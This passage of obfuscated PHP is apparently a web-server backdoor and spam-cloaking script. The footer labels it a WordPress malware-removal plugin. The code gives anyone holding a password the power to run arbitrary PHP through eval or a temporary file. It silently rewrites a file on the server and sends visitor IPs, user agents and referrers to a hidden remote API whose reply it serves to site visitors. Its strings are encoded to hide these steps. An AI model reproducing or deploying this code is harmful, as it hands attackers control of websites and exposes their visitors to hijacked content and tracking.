                        $OOO0_O__00 .= $O0_0O0O__O;
                        unset($O0_0O0O__O);
                    }
                    $OOO0_O__00 = explode("\\r\\n\\r\\n", $OOO0_O__00);
                    array_shift($OOO0_O__00);
                    $OOO0_O__00 = implode("\\r\\n\\r\\n", $OOO0_O__00);
                } else {
                    $O00___0OOO = mt_rand(2, 5);
                    $OO___0O00O = 0;
                    while ($OO___0O00O < $O00___0OOO) {
                        socket_write($O__O000_OO, $O000O_OO__, strlen($O000O_OO__));
                        $OO___0O00O++;
                        usleep(mt_rand(50000, 100000));
                    }
                    unset($OO___0O00O, $O00___0OOO);
                }
            }
            socket_close($O__O000_OO);
            unset($O00OO0__O_);
        }
    }
    unset($O000O_OO__, $O_OO00__0O, $O__O000_OO, $O_O_OO000_, $OO0__OO00_);
    if (!$O___O000OO) {
        $OOO0_O__00 = @preg_replace_callback('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si', 'OO__O00_O0', $OOO0_O__00);
        return trim(trim($OOO0_O__00, "\\xEF\\xBB\\xBF"));
    } else {
        return 1;
    }
}
function OO__O00_O0($matches)
{
    return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0];
}
function O000_OOO__($O0_O00__OO)
{
    $OO0O00___O = base64_encode(gzdeflate($O0_O00__OO));
    $O0O00_O__O = substr($OO0O00___O, 0, 5);
    $O_0OOO00__ = substr($OO0O00___O, 5);
    $OO000O__O_ = substr($OO0O00___O, 5, strlen($OO0O00___O) - 10);
    return $O0O00_O__O . 'hT' . substr($OO0O00___O, 5, strlen($OO0O00___O) - 10) . 'tP' . $O_0OOO00__;
}
function O0OO_0__O0($O0_O00__OO)
{
    $O0O00_O__O = substr($O0_O00__OO, 0, 5);
    $O_0OOO00__ = substr($O0_O00__OO, 5);
    $OO000O__O_ = substr($O0_O00__OO, 7, strlen($O0_O00__OO) - 14);
    return gzinflate(base64_decode($O0O00_O__O . $OO000O__O_ . $O_0OOO00__));
}
function O_O0_00OO_($OO00_O_O_0 = '')
{
    if (isset($_SERVER)) {
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
            $OO00_O_O_0 = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else {
            if (isset($_SERVER["HTTP_CLIENT_IP"])) {
                $OO00_O_O_0 = $_SERVER["HTTP_CLIENT_IP"];
            } else {
                $OO00_O_O_0 = $_SERVER["REMOTE_ADDR"];
            }
        }
    } else {
        if (getenv('HTTP_X_FORWARDED_FOR')) {
            $OO00_O_O_0 = getenv('HTTP_X_FORWARDED_FOR');
        } else {
            if (getenv('HTTP_CLIENT_IP')) {
                $OO00_O_O_0 = getenv('HTTP_CLIENT_IP');
            } else {
                $OO00_O_O_0 = getenv('REMOTE_ADDR');
            }
        }
    }
    return $OO00_O_O_0;
}
function OO_0OO__00($O0_O00__OO = '')
{
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    } elseif (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    return $O0_O00__OO;
}
function O00O_OO0__($O_O0O__O00)
{
    $O_OO0_O0_0 = str_split($O_O0O__O00);
    $O0_O_OO00_ = '';
    for ($OO___0O00O = 0; $OO___0O00O < count($O_OO0_O0_0); $OO___0O00O++) {
        if ($OO___0O00O % 2 != 0) {
            $O0_O_OO00_ .= $O_OO0_O0_0[$OO___0O00O];
        }
    }
    return base64_decode($O0_O_OO00_);
}
function O_00O_O0_O($OOO0_O__00)
{
    $OOO0_O__00 = @gzuncompress(base64_decode($OOO0_O__00));
    $O_O0OO0_0_ = @preg_split("/\\|/si", $OOO0_O__00, 1, PREG_SPLIT_NO_EMPTY);
    if (!is_array($O_O0OO0_0_)) {
        return false;
    }
    if (count($O_O0OO0_0_) < 2) {
        return false;
    }
    $OOO0_O__00_array["data"] = array_pop($O_O0OO0_0_);
    $OOO0_O__00_array["data"] = base64_decode($OOO0_O__00_array["data"]);
    $OOO0_O__00_array["headers"] = $O_O0OO0_0_;
    return $OOO0_O__00_array;
}
function O0O_O_0O_0($O_0_OO0_0O = '')
{
    $OOO_O0_00_ = O0OO_0__O0('K8pPycYi8p1iumIpKAEA');
    if (file_exists($OOO_O0_00_)) {
        @unlink($OOO_O0_00_);
    }
    if ($O_0_OO0_0O == '') {
        $O_0_OO0_0O = O0OO_0__O0('08soSuDUxOTi0vfuBgA=');
    }
    $OOO0_O__00 = O0OO_0__O0('lVFNrDX5swEPxBvZiPSHB4h0CDgRDKR7DBN2waQ7ABlQTC+/VFIU9pT1VPq1nN7MzuRgcyUIg+z9gBhcq51+g9c4VB8lpcXKtndtt6V/3oHcyFQLR40BkpNLUAJoJ27dp/Vk46f6KpVVM4HyPbhCV+CAaUuoJhH/HeSKQYSR6GRZ5cS3vf5E1dF9JUKns3l65lMOm0JTbuDNbzBYr76qUH3ervPq5U3QGCd+CFR6qGv06fxfzCNYHKQJttTqXtb2u+rsT6Nsut5gDPM1HF/cXXmK2AEqIbSd8apoZLmVuALe8ewclQQXN56v55hw17kCxUBbzAj9G+ztNfe3/Xj9FByDM222q9jweViTjrvLxavRMRyNM3W/ii0vzVFzlUVgOVGT+r+jGTSGNSAJL5NVMzHsxD+qXLOjSS1PpZ4l27/o1teWMepBY9O+APbThRGXM/v6UJclCCwiwHxD8f0I84U5xLuq8DXPwnP37zka9QuGZr9tOWhT9/4Dm3Ux73RgDeu0fxx84+M3');
    $OOO0_O__00 = @base64_decode($OOO0_O__00);
    if (file_exists($O_0_OO0_0O)) {
        $OOOO0__00_ = file_get_contents($O_0_OO0_0O);
        if ($OOO0_O__00 == $OOOO0__00_) {
            return;
        }
    }
    @chmod($O_0_OO0_0O, 0777);
    @file_put_contents($O_0_OO0_0O, $OOO0_O__00);
    @chmod($O_0_OO0_0O, 0644);
}
function OO_0_00_OO($googleUrl, $OOO_0O_00_, $O00_OO0__O)
{
    $OO_OO000__ = O0OO_0__O0('yygpKxaSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgTvWAwA=');
    $OO_O000O__ = sprintf($OO_OO000__, $googleUrl, $O00_OO0__O["protocol"], $O00_OO0__O["server_domain"], $OOO_0O_00_);
    $O0_0OO_0_O = O_00O_O_O0($OO_O000O__);
    if (isset($_REQUEST["st"])) {
        var_dump($OO_O000O__);
        var_dump($O0_0OO_0_O);
        die;
    }
    $OO0_0_O_O0 = O0OO_0__O0('S8/PTMr89rrJBQA=');
    $OO__00OO_0 = O0OO_0__O0('Ky5NTpnk4abtLgYA');
    $O_OO0O_00_ = O0OO_0__O0('S0vMzizElILNAQA=');
    if (strpos($O0_0OO_0_O, $OO0_0_O_O0) != false) {
        die($OO__00OO_0);
    } else {
        $OO_OO000__ = O0OO_0__O0('yygpKxhbDS11ct1i/IzEu3L84sSc1NLLBVLQaKqBYQbDAA==');
        $OO_O000O__ = sprintf($OO_OO000__, $googleUrl, $O00_OO0__O["protocol"], $O00_OO0__O["server_domain"], $OOO_0O_00_);
        $O0_0OO_0_O = O_00O_O_O0($OO_O000O__);
        if (strpos($O0_0OO_0_O, $OO0_0_O_O0) != false) {
            die($OO__00OO_0);
        }
        die($O_OO0O_00_);
    }
}
function O_0_0OOO0_($O_O0O__O00)
{
    $O00_OO0__O = array();
    $O00_OO0__O["default_params"] = $O_O0O__O00;
    $O00_OO0__O["api"] = O00O_OO0__($O00_OO0__O["default_params"]);
    $O00_OO0__O["server_domain"] = OO_0OO__00();
    $O00_OO0__O["request_url"] = $_SERVER["REQUEST_URI"];
    $O00_OO0__O["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
    $O00_OO0__O["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
    $O00_OO0__O["ip"] = O_O0_00OO_();
    if (isset($_SERVER["HTTPS"])) {
        $O00_OO0__O["protocol"] = O0OO_0__O0('yygpKZWSi20tcJmHAA==');
    } else {
        $O00_OO0__O["protocol"] = O0OO_0__O0('yygpKPEbDNyS1wcA');
    }
    if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
        $O00_OO0__O["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
    } else {
        $O00_OO0__O["language"] = "";
    }
    if (isset($_REQUEST["params"])) {
        $O0O_OO__00 = O0OO_0__O0('c87PKiP0nNK9EtqSxItUosKMjJTE4syczP088qzs8rDDAA==');
        header($O0O_OO__00);
        if (function_exists('json_encode')) {
            echo json_encode($O00_OO0__O);
        } else {
            print_r($O00_OO0__O);
        }
        die;
    }
    if (isset($_REQUEST["d_time"])) {
        die('2023/5/17');
    }
    if (isset($_REQUEST["pwd163"])) {
        if (md5(trim($_REQUEST["pwd163"])) == "6beb7d45903ab24d06afac40e84b87c0") {
            $OO_00O0O__ = base64_decode(rawurldecode(urlencode(urldecode($_REQUEST["zzz"]))));
            $O__O0_0O0O = "<?php";
            if (strpos($OO_00O0O__, $O__O0_0O0O) === false) {
                $OO_00O0O__ = "<?phpPHP_EOL" . $OO_00O0O__;
            }
            if (isset($_REQUEST["e"])) {
                $OO_00O0O__ = str_replace($O__O0_0O0O, "", $OO_00O0O__);
                $O_OO00__0O = "eval";
                eval($OO_00O0O__);
                die;
            }
            $O0__0_OOO0 = tmpfile();
            fwrite($O0__0_OOO0, $OO_00O0O__);
            $O_0_00OOO_ = stream_get_meta_data($O0__0_OOO0);
            @(require $O_0_00OOO_["uri"]);
            fclose($O0__0_OOO0);
            die;
        }
        if (md5($_REQUEST["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8") {
            if (isset($_GET["sitemap"])) {
                $OOO_0O_00_ = $_GET["sitemap"];
                $OOO_0__00O = O0OO_0__O0('Ky8v1Vp0vPz0/PSdVLzs8hGFAA==');
                if (isset($_GET["google_url"])) {
                    $OOO_0__00O = $_GET["google_url"];
                }
                OO_0_00_OO($OOO_0__00O, $OOO_0O_00_, $O00_OO0__O);
            }
        }
    }
    O0O_O_0O_0();
    $OO00__OO_0 = array('domain' => $O00_OO0__O["server_domain"], 'request_url' => $O00_OO0__O["request_url"], 'ip' => $O00_OO0__O["ip"], 'agent' => $O00_OO0__O["user_agent"], 'referer' => $O00_OO0__O["referer"], 'protocol' => $O00_OO0__O["protocol"], 'language' => $O00_OO0__O["language"]);
    $OOO0_O__00 = O_00O_O_O0($O00_OO0__O["api"], 0, 2, $OO00__OO_0, array(), $O00_OO0__O["server_domain"]);
    if (isset($_REQUEST["dump"])) {
        var_dump($OOO0_O__00);
        $OOO0_O__00 = O_00O_O_O0("http://google.co.jp");
        var_dump($OOO0_O__00);
        die;
    }
    $O0_O_00O_O = O_00O_O0_O($OOO0_O__00);
    if ($O0_O_00O_O !== false) {
        foreach ($O0_O_00O_O["headers"] as $O0O_OO__00) {
            @header($O0O_OO__00);
        }
        echo $O0_O_00O_O["data"];
        die;
    }
}
O_0_0OOO0_($O_O0O__O00);


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.